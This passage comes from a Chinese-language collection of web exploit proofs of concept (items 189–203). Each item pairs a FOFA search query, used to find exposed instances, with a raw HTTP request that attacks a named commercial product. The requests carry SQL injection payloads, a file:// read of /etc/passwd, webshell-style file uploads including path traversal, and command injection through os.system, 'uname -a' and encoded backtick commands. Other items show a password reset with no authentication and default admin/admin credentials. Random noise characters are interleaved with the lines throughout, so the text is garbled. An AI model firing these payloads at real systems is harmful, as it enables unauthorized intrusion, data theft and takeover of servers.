Connection: close


+ A& L/ s: p5 t1 F: X189. 蓝网科技临床浏览系统 deleteStudy SQL注入
, \7 x7 ~7 y3 [  L4 s- k4 BFOFA：app="LANWON-临床浏览系统"
& E! J" p  y& X/ x# v$ `GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ Y$ t* R/ D8 S% O( }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
2 ?+ J- a0 I: kAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 G6 l+ z% U/ L  ^* ?

  K7 K4 s% g7 o- E. R/ L; R' \. F190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
$ o! o' m: P/ _; [$ `  {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
, n; M" S6 b, @7 I* F1 g; qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" d& s: N7 D: v( S7 L4 ^
poi=file:///etc/passwd
. m6 x8 }* C) J5 i( J

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
4 x' u; }+ I5 JFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
: L* n/ G, @) P, B2 W4 o' sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( T0 b/ a! p: n9 x, H' k6 a7 wContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

4 t1 M7 p. Q1 n6 V6 U- l
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
4 V, t. U; k3 W* ?9 ]3 EHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 @% G0 p3 q3 |& T/ s9 z
3 a( R0 X! L1 \5 L
. C! c& C" F4 b: V8 b<% @ webhandler language="C#" class="AverageHandler" %>
using System;
- v- i3 Q7 C( p( I, Nusing System.Web;
! M& w+ n. D. Y! P& Z+ ?4 kpublic class AverageHandler : IHttpHandler
* H$ M4 @8 b' x5 W{
5 p% D  v# f  v0 e5 Z2 P8 Upublic bool IsReusable
{ get { return true; } }
0 c& ^/ O' y  H6 x  `0 I9 z- @5 @public void ProcessRequest(HttpContext ctx)
- e2 B' Y+ |# A. v{
ctx.Response.Write("test");
}
  T' e9 ^* F2 r/ G( A  Q0 Q- M}


/ N* i6 }8 ]+ u% e2 B% y# z5 X: o: [193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
$ p: c) G) B' I( Z$ ~- r8 FContent-Type: application/x-www-form-urlencoded
# }& u* u9 m$ b6 o& I3 xUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
# `# W" |; Q0 @$ z) T$ V. qHost:
User-Agent: Mozilla/5.0
6 d5 x, R; [$ B: TAccept-Encoding: gzip, deflate
+ X! M" _3 L. N. [. K( ]Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

' p& o9 G0 _0 v( x& v, uparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

' v. ^: C1 Y9 b6 k" d
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
3 W& J3 T; p, B. X0 Y- N

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

7 \* H+ S, q0 o2 |% T  w5 f4 M3 {, wPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
, _& J/ I8 f4 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
8 _9 X/ W: b1 R7 r7 ]: EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  D. C7 E5 G1 B& BAccept-Encoding: gzip, deflate
Connection: close
) e5 Z( s) O0 @* ?" F% IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
# n+ P/ f3 m$ @------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
; U& n# _' r, p) M3 N$ cContent-Type: text/plain
5 r9 o: I' m  ^# \% a<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
0 F' a) T  k. I; Z& u {"iq":{"query":{"UpdateType":"mail"}}}
4 |1 U7 }1 h1 k) f, r/ D7 e------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
8 l+ e* T: K$ \7 Y/ ^0 D& Y5 G) r" D8 h

8 w; u2 Z  k5 P195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 o" ~1 T- L  L* N" X# g3 B( oFOFA：title=="飞鱼星企业级智能上网行为管理系统
! j6 Q; ~4 O; Z( CPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
9 c9 e+ J* h6 U" C! g- F7 QCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
& @* F9 [) L( w/ j7 }7 G
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
6 {" U: T; T* e. c) S+ }& Y, XPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
" n6 ~3 B$ W' j0 R, X! ]; r8 ?X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
& T/ i  m7 R/ r2 b
; O, T7 S+ |! A/ p3 `0 ^" R{"xgh":"test","newPass":"test666","email":""}

8 m/ C' Q$ [1 j: r

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 m, h( Q& I# }* A4 d+ O" BFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
$ Z6 x( o" x5 f" ^( {/ eHost:
. F; q% b' i: D4 }9 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
9 |+ y) ?0 p# \* {+ x
' v- Q/ Q, C( ]4 l3 g2 ]2 M' j
3 O9 ^) ?8 e* S  x6 e
198.  阿里云盘 WebDAV 命令注入
# I7 D. X/ N% q( s* gCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
( c6 I2 t8 z( j4 P6 a5 n) e) G: ~Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
7 v( j0 ?/ Z4 D( wAccept: */*
Accept-Encoding: gzip, deflate
  S- H( y5 i9 V3 i* SAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
/ U9 q; Y. ^1 o* C5 [9 V
3 i7 m* e9 @2 w7 I) S8 A$ r5 i
199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
' H) e! G' b0 ?, D" I. O: ]  N9 K) B2 p2 mGET /auth/login?to=/ HTTP/1.1

9 B4 @" V$ e. e0 h响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
" w0 ^: Y0 e4 }+ Y: M- D
2.使用刚才上一步获取到的jwt获取cookie：
* H6 C3 y8 e# ?& l5 R  k
POST /auth/check HTTP/1.1
1 {- Z, H, ?7 S" ?3 jContent-Type: application/json

1 m% @* C6 }" J0 q/ ]' z{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
' D* \8 P0 Y# |. k  u  ^  K
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
5 W8 _$ A- Y, R: b0 f& L1 fFofa：title="Authenticate Please!"
' _6 g1 a4 [1 _% V/ D8 t) QPOST /assetsmanager/upload HTTP/1.1
* y2 G$ ^' Y9 [) H# z5 D* _9 TContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

$ K# u# z. ~& W; u/ ~-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
3 N( |7 U- c2 i$ D. ]1 q-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
7 o$ M5 f% a1 V* \5 V+ d" t) _

  D: q- U5 b/ E* Z8 n" @. v9 i/storage/uploads/tttt.php
( x" I# w% P$ ^$ k' g' S: y* ?
8 r; b3 a+ C3 l, T1 V- O0 B7 a5 s! T200. SeaCMS海洋影视管理系统dmku SQL注入
, ~6 {& C2 r9 o) f6 O3 v3 k7 xFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
: [( z' S9 V$ U9 @4 CCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
9 J% p$ T3 ~4 y3 F/ H1 ]" d4 {Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
2 H3 c0 s( y" a4 t+ ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ l! @; ~3 o9 [

201. 方正全媒体新闻采编系统 binary SQL注入
4 d+ g# Z. S' [: E* r9 _FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 x2 s& R6 |; f% S" m' z: ~Accept-Encoding: gzip, deflate
6 N; b* _9 m  l5 h# }Accept-Language: zh-CN,zh;q=0.9
, Z+ J! p8 F3 f# g5 K1 g' ]Connection: close
: J1 C& b  m) d' W( B+ v* Y
+ w* t; p+ ?2 e( b( z% L$ {TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
* d: f- \! B4 k& n. h6 x
9 r3 [. [$ t/ j2 Y7 F4 G
: C9 s: @* K7 V# L. n202. 微擎系统 AccountEdit任意文件上传
# o7 d+ C3 n' I9 V; jFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
2 }+ n* x# _9 ]. C. Z9 z6 ]GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
3 D: D) b$ I6 e" f' N) [! C- P1 MContent-Length: 0


$ t5 X3 i3 }9 @8 q# s替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
; y  G, t) {7 ?4 p' |% b' a; BAccept-Encoding: gzip, deflate, br
" K& p; g4 w1 g: u" Z9 Q* r! B9 gContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
& ~; q' u5 c+ |# j9 j: Q* C
$ `2 d0 N5 p. a( W6 T* i-----------------------------786435874t38587593865736587346567358735687
2 ?) ?6 p0 e( H+ c7 ]Content-Disposition: form-data; name="__VIEWSTATE"
& Z" f! m+ ?. o( {1 i
# d4 U# _! V* i( W7 I' f__VIEWSTATE
9 v, \8 U; B2 l$ O: C6 d+ q-----------------------------786435874t38587593865736587346567358735687
8 W% u( @$ q+ c' v8 \3 {. HContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
  u! {+ n% r3 o7 G5 U$ n-----------------------------786435874t38587593865736587346567358735687
( P1 K- D. m" @. A" y/ E9 RContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
! H; M6 ^2 D9 g8 [4 ?Content-Type: text/plain
4 l9 h+ d% c6 ~/ h* y% @- [; c
Hello World!
-----------------------------786435874t38587593865736587346567358735687
0 p6 z, t8 `7 v* P8 dContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
! T+ ]1 X4 M! [-----------------------------786435874t38587593865736587346567358735687
7 }) u9 ~" ~6 P. ~; ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
& G- P/ s% F" p/ @$ S+ U) l

9 @6 n. G, ~. m% v) b) n-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


: s" w- l& D1 H9 i; c# r-----------------------------786435874t38587593865736587346567358735687--
# H! \$ l7 D+ G1 o( o# I9 f
" S9 h) g3 ?3 `& u4 n# n2 @
3 S4 Y& H) `  A7 f( v, E- l$ Z1 w$ }& J/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
2 ]# [( d, ^6 m! k  \7 x, eFOFA：body="RedseaPlatform"
. d3 q0 |5 P. _% G# t3 L: }POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
3 c* f4 u. q% `' x0 SAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ ~. h+ v, b& K* r/ Q5 AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
1 O' }% H% X* |5 e
------WebKitFormBoundaryt7WbDl1tXogoZys4
. {$ c  @( X. V/ m/ B" Q) J4 DContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
. x& G: K+ K8 U- D! t; F) L! ^2 E: {- ?Content-Type:image/jpeg

  u# e* ]6 q% N" `: U<% out.print("hello,eHR");%>
, o# q. R8 l% i------WebKitFormBoundaryt7WbDl1tXogoZys4--

# J" j2 }% P/ _1 W0 u: m5 _



8 U' z5 H( s2 v8 i- F" x6 z  O
& w' }0 B% b& l( {3 B0 [* s